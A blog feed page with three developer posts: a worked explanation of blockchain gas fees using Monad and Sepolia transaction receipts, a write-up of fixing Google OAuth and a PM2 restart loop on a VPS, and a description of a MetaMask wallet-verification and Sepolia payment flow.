Coder Legion - Recent posts tagged ethereum

Understanding Gas on the Blockchain: A Practical Guide Using Real Transactions

Mon, 26 Oct 2026 13:35:40 +0000

When I first encountered the concept of gas in blockchain, I understood on the surface that it measured computational work. However, I did not fully understand what that meant in practice, how gas is actually calculated under the hood, why transactions need gas limits, or how all of those numbers come together to form a transaction fee.

Reading high-level definitions is one thing, but opening a block explorer and staring at a raw transaction receipt is another. Where does a specific number like 49,785 or 152,492 gas come from? Why does a transaction that transfers 0 ETH or 0 MON still cost money? And what actually happens to the gas you don't use?

For me, the best way to truly grasp a technical concept--to the point where you can confidently explain it to someone else--is to connect the abstract math to a physical, real-world analogy and then test it against real data.

In this article, we are going to break down how gas works from the ground up. We will build a simple physical mental model, look at how the Ethereum Virtual Machine (EVM) counts work, and then inspect two real blockchain transactions: one where I interacted directly with a smart contract on Monad Testnet, and a second transaction hash I pulled from the Ethereum Sepolia Testnet explorer to see how the two networks compare.

Separating the Five Core Concepts

When people talk about "gas," they often lump several different things into one blurry idea of "the fee I pay." To make transaction receipts easy to read, we first need to separate five distinct concepts:

Gas: The unit used to measure the computational work required to process a transaction.
Gas Limit: The maximum amount of gas a transaction is allowed to consume.
Gas Used: The amount of gas the transaction actually consumed during execution.
Gas Price: The monetary rate (in cryptocurrency) paid per single unit of gas.
Transaction Fee (Gas Fee): The final amount of cryptocurrency paid for processing the transaction, calculated according to the network's rules.

These concepts are closely related, but they do not mean the same thing.

A Relatable Analogy: The Delivery Truck
Think of executing a blockchain transaction like hiring a delivery truck to drive across town and flip a switch at a warehouse:

Gas (The Work): Driving 15 kilometers up a steep hill physically requires 10 liters of fuel. Notice that "liters" measures physical effort, not money. Whether fuel is cheap or expensive today, the engine still burns 10 liters to climb that hill.
Gas Limit (Your Fuel Cap): Before the driver leaves, you hand them a fuel card authorized for a maximum of 12 liters. You are saying: "This trip should take 10 liters, so I am allowing up to 12 liters as a safety buffer. If the road is blocked and you burn all 12 liters before getting there, stop driving immediately."
Gas Used (Actual Consumption): The driver completes the trip and the engine actually burns 10 liters.
Gas Price (Price per Liter): At the pump today, fuel costs $2 per liter. Tomorrow, during heavy traffic demand, it might cost $4 per liter. The distance and effort didn't change, only the price per unit of fuel.
Transaction Fee (The Total Bill): The final payment calculated from the fuel and the price per liter.

With that picture in mind, let's briefly look at how the blockchain measures those "liters of fuel" under the hood.

Under the Hood: How Does the Blockchain Count Gas?

When you submit a transaction on an EVM-compatible blockchain, the network doesn't guess how hard your transaction worked. Instead, every tiny instruction the computer executes--called an opcode--has a fixed cost measured in gas:

The Base Cover Charge (21,000 Intrinsic Gas): Before the blockchain even opens a smart contract, every standard transaction costs a flat minimum of 21,000 gas. This covers the basic work of verifying your cryptographic signature, checking your account nonce, and updating your account balance.
Basic Math & Memory: Inside a smart contract, simple operations like adding two numbers together (ADD) cost just 3 gas.
Reading & Writing Permanent Storage: Updating the blockchain's permanent database is the heaviest work a transaction can do, because every node on the network has to store that state change. Reading a variable from permanent storage for the first time in a transaction (SLOAD) costs 2,100 gas. Writing a brand-new non-zero value into an empty storage slot (SSTORE from 0 to 1) costs 20,000 gas, while updating an already non-zero slot (SSTORE from 1 to 2) costs 2,900 gas.

As your transaction runs, an internal meter starts at 21,000 and adds up the exact cost of every instruction executed along the way.

Now let's see how this looks on two real transaction receipts.

Case Study One: Calling `increment()` on Monad Testnet

For our first case study, I interacted directly with a smart contract deployed on Monad Testnet by calling its increment() function.

Here are the exact details from the transaction receipt:

Field	Value
Network	Monad Testnet
Function Called	`increment()`
Transaction Status	Success
Transaction Value	0 MON
Gas Limit	49,785
Gas Used (as reported)	49,785
Gas Usage	100%
Gas Price	102.82 Gwei
Transaction Fee	0.0051188937 MON

Why Did a 0 MON Transaction Still Incur a Fee?

Notice that the Transaction value is 0 MON. My transaction didn't send any MON tokens to another person or contract, yet it still charged a fee of 0.0051188937 MON. Why?

In our delivery truck analogy, Transaction value is the cash you put inside an envelope to send to someone across town. Even if you send the driver with $0 in the envelope just to flip a switch at the warehouse, the truck still has to burn fuel to drive there and flip the switch.

Look at the Solidity contract behind increment():

// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

contract Counter {
    uint256 public count;

    function increment() external {
        count = count + 1;
    }
}

This contract stores a number called count on the blockchain. Whenever someone calls increment(), the contract increases count by one (changing it from 0 to 1, or 1 to 2). Even though the code looks tiny, the blockchain still has to process the transaction, run the contract's instructions, read the current value of count, and write the updated number into permanent storage.

The transaction fee pays for that computational processing and state update, not for transferring currency.

How Was the Fee Calculated--And Why Was Gas Usage 100%?

On this receipt, the Gas limit was 49,785, and the Gas used, as reported was also 49,785:

Gas Usage Percentage = (49,785 ÷ 49,785) × 100 = 100%

And if we multiply the Gas limit (49,785) by the Gas price (102.82 Gwei):

$49,785 x 102.82 Gwei = 5,118,893.7 Gwei

Using the conversion of $10⁹ Gwei per 1 MON:

Transaction Fee = 5,118,893.7 ÷ 10⁹ = 0.0051188937 MON

This matches the displayed transaction fee down to the last digit.

But this raises an important question: Why does Monad calculate the fee using the Gas Limit, and why did the receipt report 100% gas usage?

Unlike Ethereum, which charges you based on the gas your transaction actually used after running, Monad charges based on the Gas Limit you declare upfront (and sets gasUsed equal to gasLimit on the top-level receipt).

To understand why, compare a supermarket checkout (Ethereum) with booking cargo on an airplane (Monad):

Ethereum (Supermarket Checkout): When an Ethereum validator builds a block, it runs each user's transaction on the spot before picking the next one. Because it runs the code immediately, it sees the exact Gas Used right away and knows exactly how much space is left in the block for the next person.
Monad (Booking Cargo on a Flight): To process thousands of transactions per second, Monad uses asynchronous execution: validators pack transactions into a block and lock in the order before running the smart contract code. Because the network hasn't run your code yet when packing the block, it doesn't know what your actual Gas Used will be--it only sees the Gas Limit you asked to reserve!

If Monad let users reserve massive amounts of block space using a huge Gas Limit and then only charged them for a tiny Gas Usedafterward, someone could reserve an entire block, crowd out everyone else on the network, and pay almost nothing. Just like reserving 10 seats on a bus or cargo flight where other passengers have to be turned away at the gate, on Monad you pay for the exact capacity you reserve upfront (Gas Limit).

Case Study Two: Inspecting a Transaction on Ethereum Sepolia Testnet

To see how standard Ethereum fee accounting differs, I went to the Ethereum Sepolia Testnet block explorer and pulled up a random transaction hash to inspect its receipt. In this transaction, the sender called the close() function on a smart contract.

Here are the transaction details:

Field	Value
Network	Ethereum Sepolia Testnet
Function Called	`close()`
Transaction Status	Success
Transaction Value	0 ETH
Gas Limit	156,059
Gas Used	152,492
Gas Usage	97.71%
Effective Gas Price (as reported)	0.000153611 Gwei
Transaction Fee	0.000000023424448612 ETH

Gas Limit vs. Gas Used (And What Happens to Unused Gas)

Just like the Monad transaction, this transaction sent 0 ETH in value while paying a fee to execute smart contract logic. However, look at the difference between the limit and the actual consumption.

Gas limit: 156,059
Gas used: 152,49

156,059 - 152,492 = 3,567 unused gas

Percentage Consumed = (152,492 ÷ 156,059) × 100 ≈ 97.71%

Here, the transaction consumed 97.71% of its limit and left 3,567 gas (2.29%) untouched.

What happens to that 3,567 unused gas on Ethereum?

When a transaction begins on Ethereum, the protocol temporarily locks enough ETH from the sender's balance to cover the entire 156,059 Gas Limit (just like a fuel pump pre-authorizing your card before you pump). As the code executes, the meter ticks up to 152,492. The moment execution finishes, the leftover 3,567 gas is immediately refunded back to the sender's wallet inside the exact same transaction, and that unused capacity is freed up for other transactions in the block.

How the Sepolia Transaction Fee Was Calculated

Because Ethereum refunds unused gas, the final fee is calculated strictly on Gas used:

Transaction fee = Gas used x Effective gas price

Multiplying the 152,492 gas actually consumed by the 0.000153611 Gwei effective gas price:

152,492 x 0.000153611 Gwei = 23.424448612 Gwei

Since 1 ETH = 10⁹ Gwei:

Fee = 23.424448612 ÷ 10⁹ = 0.000000023424448612 ETH

Notice that the unused 3,567 gas was never charged to the sender.

How Do You Know What Gas Limit to Set?

Looking at numbers like 49,785 on Monad and 156,059 on Sepolia, a natural question comes up: How does anyone know how much gas a contract will need before sending the transaction?

You don't have to calculate opcodes manually. In practice, gas limits are estimated automatically:

Wallet & RPC Simulation (eth_estimateGas): Before you click "Confirm" in your wallet, the wallet silently calls a method on an RPC node called eth_estimateGas. The node runs a free practice simulation (dry run) of your transaction against the current state of the blockchain in its local memory, counts the exact gas used, and reports that number back. Your wallet then adds a small safety buffer (often 10% to 20%) in case the blockchain state changes slightly before your transaction lands in a block.
Developer Tooling (Foundry): When writing smart contracts in Foundry, running forge test --gas-report or cast estimate simulates your function calls and prints out the exact gas numbers before you ever deploy to a live network.

Practical takeaway: Because Monad charges you for your declared Gas Limit, you should rely on eth_estimateGas with a modest buffer rather than manually typing in an artificially huge gas limit!

Understanding Gas Price and Gwei

Now that we've covered Gas Limit and Gas Used, let's look at Gas Price and Gwei

While gas measures the computational effort (liters of fuel), gas price is the monetary cost per single unit of gas (price per liter). Because a single unit of gas costs a tiny fraction of 1 ETH or 1 MON, we express gas prices in Gwei (short for Giga-wei) so we don't have to read strings of nine zeros:

1 ETH (or MON) = 10⁹ Gwei = 1,000,000,000 Gwei

1 Gwei = 0.000000001 ETH

When someone says "Gas price is 20 Gwei," they don't mean the whole transaction costs 20 Gwei. They mean each single unit of gas costs 20 billionths of an ETH.

Suppose a transaction consumes 50,000 gas:

At 10 Gwei per gas: 50,000 x 10 Gwei = 500,000 Gwei (0.0005 ETH).
At 20 Gwei per gas: 50,000 x 20 Gwei = 1,000,000 Gwei (0.001 ETH).

Notice that the computational work (50,000 gas) stayed completely identical--the fee doubled purely because network demand pushed the price per unit of gas twice as high.

Decoding EIP-1559: Base Fee, Priority Fee, and Max Fee

Both the Monad and Sepolia receipts identify the transaction type as EIP-1559 (Type 2). Under EIP-1559, the gas price is broken down into specific components. Let's look at the fee breakdown from the Sepolia receipt:

Fee Field	Value
Network	Ethereum Sepolia Testnet
Base Fee	0.000000015 Gwei
Max Priority Fee	0.000153596 Gwei
Max Fee	0.000153614 Gwei
Effective Gas Price	0.000153611 Gwei

Here is how these four numbers fit together:

Base fee (0.000000015 Gwei): The mandatory minimum rate per unit of gas for that block, determined automatically by the network based on how full previous blocks were. On Ethereum, the base fee is burned (destroyed) rather than paid to the block proposer.
Max priority fee (0.000153596 Gwei): The maximum tip per unit of gas the sender offers directly to the block proposer (validator) to incentivize them to include the transaction.
Max fee (0.000153614 Gwei): The absolute ceiling per unit of gas the sender is willing to pay in total (Base fee + Priority fee) in case the base fee jumps while the transaction is waiting.
Effective gas price (0.000153611 Gwei): The actual rate per unit of gas charged when the block was produced:

Effective gas price = Base fee + Effective priority fee

0.000000015 Gwei + 0.000153596 Gwei = 0.000153611 Gwei

Because 0.000153611 Gwei was safely below the sender's Max fee cap of 0.000153614 Gwei, the transaction paid the exact sum of the base fee and priority tip.

Why Do Transactions Need a Gas Limit? (And Why Gas Costs Change)

Preventing Runaway Code

Why does every blockchain transaction require a Gas Limit in the first place? Consider a contract function with a massive loop:

function expensiveOperation() external {
    uint256 total;

    for (uint256 i = 0; i < 1_000_000; i++) {
        total += i;
    }
}

If a transaction could execute without an upper bound--or accidentally hit an infinite loop--every node on the network would get stuck executing that loop forever, halting the blockchain.

The Gas Limit acts as a circuit breaker. If a transaction burns through all of its allotted gas before finishing, it stops with an Out of Gas error. When that happens, all state changes are reverted as if the transaction never happened, but the sender still pays for the gas consumed because the network already spent real computational work running the code up to that point.

Keep in mind: having plenty of gas does not guarantee a transaction will succeed. If a contract fails an internal require check or permission rule, the transaction will still revert even with gas left over.

Why Two Calls to the Same Function Can Use Different Gas

It is also easy to assume that calling the same function with the same inputs will always consume the exact same amount of gas. In practice, gas usage depends on the exact state of the contract at the moment of execution.

For example, in our Counter contract, the very first call to increment() updates count from 0 to 1. Allocating a brand-new storage slot from zero to a non-zero number costs 20,000 gas. The next call updates count from 1 to 2--and overwriting an already non-zero storage slot costs 2,900 gas. Even though both users called increment(), the first call performed heavier database work under the network's rules.

Comparing the Two Receipts: Are Fees on Monad Expensive?

Let's put our Monad Testnet interaction and the Sepolia Testnet receipt side by side

Concept	Monad Testnet: `increment()`	Sepolia Testnet: `close()`
Gas Limit	49,785	156,059
Gas Used	49,785	152,492
Gas Usage	100%	97.71%
Effective Gas Price (as reported)	102.82 Gwei	0.000153611 Gwei
Transaction Fee	0.0051188937 MON	0.000000023424448612 ETH
Fee Calculation	Gas Used x Gas Price	Gas Used x Effective Gas Price

When you look at this table, you might notice that 102.82 Gwei (0.0051 MON) looks numerically much larger than 0.000153611 Gwei (0.0000000234 ETH). Does that mean gas fees on Monad are expensive?

Not at all. In real-world dollar terms, Monad is designed so transactions cost a fraction of a cent. Those raw numbers cannot be compared directly for two reasons:

Different Native Tokens (MON-Gwei vs. ETH-Gwei): 1 Gwei on Ethereum is one-billionth of 1 ETH (an asset priced in thousands of dollars), whereas 1 Gwei on Monad is one-billionth of 1 MON. Comparing 0.005 MON to 0.00000002 ETH is like comparing 50 Naira (or 5 Japanese Yen) to 0.03 US Dollars--a bigger number in one currency doesn't mean a higher cost!
Monad's 100 Gwei Minimum Base Fee Floor: To prevent spam when blocks aren't full, Monad enforces a minimum base fee of 100 MON-gwei (which is why our transaction was 102.82 Gwei: 100 Gwei base fee + 2.82 Gwei priority tip). Sepolia Testnet has no 100 Gwei floor, so its testnet base fee had drifted down to nearly zero (0.000000015 Gwei).

Common Misunderstandings About Gas (Quick Checklist)

Gas and cryptocurrency are the same thing. They are not. Gas is a measurement of computational work; ETH and MON are the native assets used to pay for that work.
The gas limit is the exact amount of gas a transaction will use. Not necessarily. The gas limit is the maximum allowance; actual execution often consumes less.
A transaction with 0 value is free. Incorrect. Both of our transactions had a value of 0, and both required fees to pay for smart contract execution.
A higher gas limit always means a higher fee. It depends on the network's architecture! On Ethereum, you are only billed for Gas Used, and unused gas is refunded. On Monad, because blocks are packed asynchronously before execution, you are billed for the entire Gas Limit you reserve.
Enough gas guarantees a transaction will succeed. Incorrect. Even with plenty of gas, a transaction will revert if it hits a failed contract condition or permission check.

How to Explain Gas to Someone Else

If someone asks you, "What is gas on the blockchain, and how do fees work?", here is how you can break it down cleanly

Gas is the unit that measures how much computational work a transaction requires--just like liters of fuel needed for a delivery truck to complete a trip.

Every transaction sets a Gas Limit (calculated automatically by your wallet simulating the transaction), which acts as a maximum fuel cap so a bad loop can't run forever. As the transaction runs, it tallies up the Gas Used based on the exact instructions executed.

To find the Transaction Fee, you multiply the gas quantity by the Gas Price (measured in Gwei). On Ethereum, you only pay for the fuel your code actually burned (Gas Used), and any unused gas is refunded immediately. On high-speed asynchronous networks like Monad, where block space is reserved before running the code, you pay for the entire fuel limit you reserved upfront (Gas Limit).

Once you separate the unit of work, the maximum allowance, the actual consumption, and the price per unit, any transaction receipt on any EVM block explorer becomes intuitive to read.

Let's Figure Out the Rest Together

Writing this guide started with a simple realization: it is completely normal to use blockchains, deploy contracts, and still feel a bit fuzzy on what every single line of a transaction receipt is actually telling you. Moving from memorizing definitions to tracing the exact numbers is how the mental model finally clicks.

Now I'd love to hear from you: What part of Gas still feels unclear, confusing, or tricky to explain?

Is there a field on a block explorer receipt that you've always wondered about?
Have you ever run into an unexpected Out of Gas error or a strange gas estimation spike while testing a contract?
Or do you have a favorite real-world analogy of your own for explaining gas, Gwei, or EIP-1559 to someone new?

Drop your questions, edge cases, or thoughts in the comments below--no question is too basic or too far down the rabbit hole. Let's unpack them together.

BinnaDevLab
Reasoning Precedes Coding.

From Broken Google OAuth to a Stable Sepolia E2E Environment: Engineering MyZubster on a VPS

Sun, 27 Sep 2026 00:54:50 +0000

From Broken Google OAuth to a Stable Sepolia E2E Environment: Engineering MyZubster on a VPS

Over the last development cycle, we worked on stabilizing the MyZubster Sepolia environment and turning what was initially a collection of partially working services into a much more predictable end-to-end infrastructure.

The work involved several layers of the stack:

Node.js / Express backend
Google OAuth 2.0
React frontend
Ethereum Sepolia testing
MongoDB
PM2 process management
Cloudflare tunneling
VPS deployment
Environment configuration
Urban Lab / I-ECO-01 services
Git branch and deployment management

This article documents what we fixed, how we diagnosed the problems, what is working now, and what still needs to be completed.

1. The Starting Point

The Sepolia environment was running on a VPS with several services managed by PM2.

The main components included:

MyZubster Sepolia backend
MyZubster Sepolia frontend
MyZubster Social
MyZubster Web
Urban Lab / I-ECO-01
Cloudflared

The environment was operational, but two important areas were unstable.

The first was Google authentication.

Users could start the OAuth flow and Google returned the authorization callback, but the backend failed during the authorization-code exchange.

The second problem was the Urban Lab service.

It was trapped in a PM2 restart loop, generating millions of restarts because runtime dependencies required by server.js were missing.

We debugged these independently instead of treating the VPS as a single black box.

2. Debugging Google OAuth

The original application error was generic:

Login Google non riuscito

That message was not enough to identify whether the problem was caused by:

the authorization code,
OAuth state,
callback URI,
client ID,
client secret,
Google configuration,
proxy forwarding,
or application logic.

We therefore instrumented the token exchange temporarily.

The relevant backend flow exchanges the authorization code against Google's token endpoint and then retrieves the verified Google user profile.

The diagnostic logging revealed the actual failure:

status: 401
error: invalid_client
description: The provided client secret is invalid.

This immediately changed the investigation.

The callback itself was reaching the backend correctly.

The OAuth state existed.

The authorization code existed.

The problem was the credentials used during the token exchange.

3. Validating the Runtime Environment

One of the important lessons from this debugging session was that validating .env alone is not sufficient.

We checked both the configuration file and the running PM2 process.

The Google client configuration was inspected without printing the complete secret.

We verified properties such as:

CLIENT ID
SECRET PRESENT
SECRET LENGTH
SECRET FORMAT
CALLBACK URL

The configured callback was:

https://sepolia.myzubster.com/api/auth/social/google/callback

We then discovered that the previously configured secret was not a valid secret for the OAuth client being used.

After replacing it with the correct Google OAuth client secret, the token exchange started succeeding.

4. Google OAuth Successfully Completed

After correcting the OAuth credentials, the backend began reporting successful callbacks.

The flow became:

Browser
   |
   v
Google Authorization
   |
   v
/api/auth/social/google/callback
   |
   v
Authorization Code Exchange
   |
   v
Google Access Token
   |
   v
Google UserInfo
   |
   v
MyZubster account verification
   |
   v
Social login ticket
   |
   v
Frontend

The backend successfully received callbacks containing both the authorization code and OAuth state.

Most importantly, the previous invalid_client token error disappeared.

The public provider endpoint also confirmed:

{
  "success": true,
  "data": {
    "providers": {
      "google": true,
      "github": false,
      "facebook": false
    }
  }
}

Google authentication is therefore enabled in the Sepolia environment.

5. Fixing the OAuth Redirect

Authentication succeeding at Google was only part of the problem.

The backend was still redirecting successful logins to an old Vercel deployment.

The runtime destination was effectively:

old Vercel deployment

instead of:

https://sepolia.myzubster.com

We corrected the runtime environment so the relevant public URLs resolve to the Sepolia deployment.

The running PM2 process was verified with:

FRONTEND_URL=https://sepolia.myzubster.com
GATEWAY_PUBLIC_URL=https://sepolia.myzubster.com
PUBLIC_APP_URL=https://sepolia.myzubster.com

This was an important distinction.

Updating .env is not necessarily equivalent to updating the environment of an already running process.

For production-style deployments, the effective runtime configuration must always be verified.

6. Testing the Complete OAuth Path

We then tested the complete flow again.

The callback reached the backend with:

hasCode: true
hasState: true
hasError: false

The Google token exchange completed successfully.

No new Google token error appeared.

The backend remained online.

The provider endpoint remained available.

The PM2 process PID remained stable.

This gave us evidence that the fix was not simply masking an application crash.

7. Removing Temporary Debug Instrumentation

Temporary instrumentation is useful during incident analysis, but it should not become permanent application noise.

After confirming the OAuth path, we removed the temporary HTTP callback logger.

We retained useful error-level logging around OAuth failures:

console.error('[OAUTH-CALLBACK-ERROR]', {
  provider,
  message: String(error?.message || error)
});

This provides enough information for future troubleshooting without logging authorization codes, OAuth state values, access tokens, or secrets.

That distinction matters.

Authentication debugging must provide observability without accidentally creating a credential-leak mechanism.

8. Stabilizing Urban Lab / I-ECO-01

At the same time, another service on the VPS had a completely different problem.

The urbanlab PM2 process had accumulated an extremely large restart count.

Inspection of the error log showed:

Error: Cannot find module 'helmet'

The server required:

require('dotenv').config();
const express = require('express');
const cors = require('cors');
const helmet = require('helmet');
const mongoose = require('mongoose');
const { createServer } = require('http');
const { Server } = require('socket.io');
const winston = require('winston');

But package.json originally contained only:

cors
dotenv
express
mongoose

The runtime therefore expected modules that the project did not declare/install.

We added the missing dependencies:

helmet
socket.io
winston

After installation, each required module could be resolved successfully.

9. Stopping a Multi-Million-Restart PM2 Loop

Once the missing dependencies were installed, Urban Lab started normally.

The server reported:

Server started on port 5002
MongoDB connected

Its health endpoint returned:

{
  "status": "ok",
  "service": "I-ECO-01",
  "mongodb": "connected"
}

We then compared the PM2 process before and after a waiting period.

The PID remained unchanged.

The restart counter remained unchanged.

That confirmed that the restart loop had actually stopped.

This is much more meaningful than simply seeing:

status: online

for a few seconds.

A process can repeatedly appear online while constantly crashing and restarting.

Process stability needs to be measured over time.

10. Current VPS Architecture

The resulting environment now looks approximately like this:

                    Internet
                       |
                       v
                Cloudflare Tunnel
                       |
                       v
            sepolia.myzubster.com
                       |
          +------------+------------+
          |                         |
          v                         v
     React Frontend            Express Backend
                                   |
                    +--------------+--------------+
                    |              |              |
                    v              v              v
                 MongoDB       Google OAuth   Sepolia EVM
                    |
                    v
              Application Data

Additional VPS services:

PM2
 |
 +-- MyZubster Sepolia Backend
 +-- MyZubster Sepolia Frontend
 +-- MyZubster Social
 +-- MyZubster Web
 +-- Urban Lab / I-ECO-01
 +-- Cloudflared

PM2 is configured under systemd, and the active process list has been saved using:

pm2 save

This means the current process configuration can be restored after a reboot through the existing PM2 startup integration.

11. Git Hygiene

Another important part of the work was separating debugging artifacts from actual source changes.

During debugging we created several temporary backups.

Before committing, those files were removed from the working tree.

We also explicitly verified that .env remained ignored.

The final source change was isolated and committed as:

fix(auth): improve OAuth callback error logging

The resulting commit was:

02f06f22

The working tree was clean after the commit.

The branch:

vps/sepolia-e2e-test

was then pushed to the remote repository.

This gives us a reproducible Git checkpoint corresponding to the working VPS state without committing the environment secrets.

12. Security Considerations

One of the most important lessons from this work concerns secrets.

OAuth client secrets, API keys, database credentials, private keys, GitHub tokens, JWT signing secrets, and similar credentials should never be committed to Git.

The repository correctly ignores .env.

But .gitignore is only one layer of protection.

The longer-term architecture should move production credentials toward dedicated secret management and controlled deployment-time injection.

We also deliberately avoided logging:

Google client secret
OAuth authorization code
OAuth state
access tokens
JWTs
database passwords
private keys

Observability and secret exposure must remain separate concerns.

13. What Is Working Now

At this stage we have achieved several concrete milestones.

Google OAuth can complete the server-side authorization-code flow.

The Sepolia backend exposes Google as an enabled authentication provider.

The callback is routed through the public Sepolia infrastructure.

The application runtime is using the intended Sepolia frontend/public URLs.

PM2 is running the MyZubster services.

PM2 configuration has been persisted.

Urban Lab / I-ECO-01 is no longer trapped in its missing-module restart loop.

Its MongoDB connection is operational.

The I-ECO-01 health endpoint responds successfully.

The OAuth debugging changes have been cleaned up.

The relevant source change has been committed and pushed to a dedicated branch.

14. What Still Needs to Be Done

A working OAuth callback does not mean the entire platform is production-ready.

Several areas still need engineering work.

Authentication hardening

The OAuth implementation should receive additional automated tests covering:

invalid state
expired state
missing code
provider errors
invalid client configuration
token endpoint failures
userinfo failures
unverified email
expired social-login tickets
replay attempts

GitHub and Facebook providers are currently disabled according to the provider endpoint and can be implemented or enabled separately when their configuration is ready.

Deployment reproducibility

The VPS currently represents an important working environment.

The next goal should be making that environment reproducible from source and configuration rather than depending on manual server history.

That means documenting and eventually automating:

dependency installation
environment injection
PM2 configuration
Cloudflare configuration
frontend startup
backend startup
health checks
rollback

Monitoring

A process being online is not sufficient operational monitoring.

We want visibility into:

restart rate
HTTP error rate
OAuth failure rate
MongoDB availability
response latency
memory consumption
CPU consumption
Sepolia RPC failures
WebSocket availability

Secret management

Production credentials should eventually be rotated and managed through a dedicated secret-management workflow.

CI/CD

The current branch and commit structure gives us a good foundation for moving toward automated deployment.

The desired flow is:

Developer
   |
   v
Git branch
   |
   v
Pull Request
   |
   v
Automated Tests
   |
   v
Security Checks
   |
   v
Merge
   |
   v
Sepolia Deployment
   |
   v
Health Checks
   |
   v
Production Promotion

15. Where We Want to Go

The objective is larger than simply making Google login work.

The Sepolia environment is becoming the integration layer where we can validate the interaction between identity, application state, Web3 payments, AI services, Urban Lab infrastructure, and MyZubster's broader ecosystem.

The architecture we are moving toward is approximately:

                         MyZubster
                             |
        +--------------------+--------------------+
        |                    |                    |
        v                    v                    v
     Identity             Web3 Layer          AI Layer
        |                    |                    |
   Google OAuth          Ethereum           AI Services
   GitHub OAuth          Sepolia            Zorgax / Pytho
   Social Identity       Wallets            Automation
        |                    |                    |
        +--------------------+--------------------+
                             |
                             v
                        Core Backend
                             |
             +---------------+---------------+
             |                               |
             v                               v
          MongoDB                       Urban Lab
                                            |
                                  +---------+---------+
                                  |                   |
                                  v                   v
                              IoT / GPS        Environmental Data

The Sepolia environment gives us a place to integrate these components without treating production as the testing environment.

16. Engineering Lessons

Several lessons from this debugging cycle are worth keeping.

Inspect the real provider response

Login failed tells you almost nothing.

401 invalid_client
The provided client secret is invalid

tells you exactly where to investigate.

`.env` is not necessarily the runtime environment

Always inspect what the actual process sees.

This becomes especially important with PM2, containers, systemd, CI/CD, and cloud deployment systems.

`online` does not necessarily mean healthy

Urban Lab demonstrated this clearly.

A service may be repeatedly restarted while PM2 continues reporting it as online between crashes.

PID stability, restart counters, health checks, and logs provide a much better picture.

Debug instrumentation should be temporary

Add enough instrumentation to understand the failure.

Verify the fix.

Then remove unnecessary diagnostic logging while retaining safe operational error reporting.

Infrastructure fixes should end in Git

A VPS fix that exists only in shell history is technical debt.

Once the behavior is verified, the corresponding source changes should be cleaned, reviewed, committed, and pushed.

Conclusion

What began as a Google login failure exposed several deeper infrastructure issues.

We traced the OAuth flow to the actual Google token exchange, identified an invalid client secret, corrected the runtime configuration, fixed the frontend redirect destination, validated the public callback path, cleaned the debugging instrumentation, stabilized a separate Urban Lab service that had entered a massive PM2 restart loop, verified MongoDB connectivity, persisted the PM2 process state, cleaned the Git working tree, committed the relevant OAuth changes, and pushed the working branch.

The important outcome is not simply:

“Google login works.”

The more important outcome is that the Sepolia environment is becoming observable, reproducible, testable, and suitable for real end-to-end integration work.

The next phase is to convert these manually validated infrastructure improvements into automated tests, deployment pipelines, monitoring, stronger secret management, and repeatable environment provisioning.

That is the path from a working development VPS to a maintainable engineering platform.

Building a Real MetaMask + Ethereum Sepolia Payment Flow for MyZubster

Fri, 25 Sep 2026 05:53:49 +0000

Building a Real MetaMask + Ethereum Sepolia Payment Flow for MyZubster

I’ve been working on the next stage of the MyZubster Marketplace: connecting authenticated users, MetaMask wallets, signed marketplace requests, and real blockchain payment verification.

The target flow is:

MyZubster account
→ verified MetaMask wallet
→ signed marketplace request
→ seller acceptance
→ Ethereum Sepolia payment
→ server-side verification
→ PAID
→ COMPLETED

This week we reached an important milestone: real wallet ownership verification is working end-to-end.

What is working now

We created a completely isolated E2E environment on the VPS instead of experimenting directly in production.

The test stack currently runs as:

React frontend
127.0.0.1:3010

    ↓ proxy

MyZubster backend
127.0.0.1:5010

↓

MongoDB + Ethereum Sepolia RPC

The environment stays private. Instead of exposing the development ports publicly, I access the React frontend from my local machine using an SSH tunnel.

That also means I can use the real MetaMask browser extension against the remote test backend.

Real MetaMask verification

The first working flow is:

Authenticated MyZubster user

↓

Connect MetaMask

↓

Backend generates challenge

↓

MetaMask personal_sign

↓

Backend verifies signature

↓

Wallet becomes VERIFIED

And this is now working with a real wallet.

The UI successfully reached:

Verified · 0xBBBc51B471…03f514bCBb

with confirmation that the wallet was linked to the MyZubster account.

The important detail is that this is not a payment.

personal_sign is only being used to prove wallet ownership.

No ETH is transferred and no gas is consumed.

Authentication and wallet ownership are separate

One thing I wanted to preserve in the architecture is a strict distinction between platform identity and blockchain identity.

A user first authenticates with MyZubster, currently through mechanisms such as Google or GitHub OAuth.

MetaMask then proves control of an EVM address.

So:

AUTHENTICATED ≠ WALLET VERIFIED

And later:

WALLET VERIFIED
≠ REQUEST SIGNED
≠ TX SUBMITTED
≠ PAID
≠ COMPLETED

Those states should never collapse into a single “connected” status.

An interesting network detail

The wallet verification test happened while MetaMask was on:

chainId 84532

which is Base Sepolia.

The Marketplace payment system itself targets:

Ethereum Sepolia
chainId 11155111
0xaa36a7

That is intentional.

Wallet ownership verification proves control of an EVM address.

The actual payment step independently checks the required network and can request MetaMask to switch to Ethereum Sepolia before sending anything.

Signed Marketplace requests

The next layer is already implemented.

When a Buyer requests a real Marketplace listing, MyZubster can generate an order-specific challenge.

The Buyer signs it with MetaMask:

Marketplace listing

↓

Order challenge

↓

personal_sign

↓

Signature verification

↓

Signed request

Again, this does not move funds.

It creates cryptographic evidence that the verified Buyer wallet approved that specific request.

The Seller can then see wallet evidence before deciding whether to accept the order.

The payment architecture

After Seller acceptance, the server creates an ETH payment intent.

That intent defines the expected:

sender
recipient
amount
chain

The frontend then verifies that the currently selected MetaMask account matches the Buyer wallet.

It also verifies Ethereum Sepolia.

Only then can it call:

ethereum.request({
method: "eth_sendTransaction",
...
})

MetaMask still requires explicit approval from the user.

MyZubster never receives the private key.

A transaction hash is not proof of payment

This is probably the part of the architecture I care most about.

The browser submitting a transaction hash does not automatically change the order to PAID.

The backend independently checks the blockchain through the Sepolia RPC.

It verifies things such as:

correct sender
correct recipient
correct network
correct amount
successful transaction
minimum confirmations

The lifecycle can therefore look like:

TX_SUBMITTED

↓

CONFIRMING

↓

3 confirmations

↓

PAID

If something does not match, the verifier can reject the transaction instead.

What has actually been tested

So far the real environment has validated the isolated VPS deployment, frontend/backend proxy, Ethereum Sepolia RPC access, SSH browser access, OAuth-authenticated MyZubster session, MetaMask detection, wallet connection, real personal_sign, server-side signature verification, and successful wallet linking.

The blockchain payment code exists, but I am deliberately not calling the whole Marketplace payment flow complete yet.

What remains

The next E2E test needs two actors:

Seller account + Seller MetaMask wallet

Buyer account + Buyer MetaMask wallet

The Seller will create an ETH listing.

The Buyer will sign a request.

The Seller will inspect and accept it.

The Buyer will then submit a real Ethereum Sepolia transaction using test ETH.

Finally, the backend should independently detect and verify the transaction before changing the order to:

PAID

